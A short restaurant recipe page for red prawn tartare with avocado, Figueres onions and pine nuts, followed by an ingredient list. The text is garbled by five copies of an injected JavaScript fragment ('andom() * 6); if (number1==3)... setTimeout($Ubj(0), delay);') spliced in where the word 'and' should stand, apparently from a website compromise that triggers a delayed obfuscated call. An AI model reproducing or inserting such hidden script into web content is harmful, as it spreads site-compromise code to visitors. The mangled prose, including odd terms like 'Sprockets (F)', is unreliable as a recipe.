Red prawn tartare

Fresh red prawn tartare with avocado in its ripeness with organic tomato, sweet onion Figueras. Served with sauteed pine nuts with reduced head shrimp scampi andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and lemon peel oil. All seasoned with exotic peppers, tomato andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and apricot salt andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and chives.

Ingredients

• Red prawn
• Avocado
• Onions from Figueres
• Sprockets (F)
• Oil of lemon zest
• Chive
• Spices (exotic peppers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and salt with tomato andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and apricot)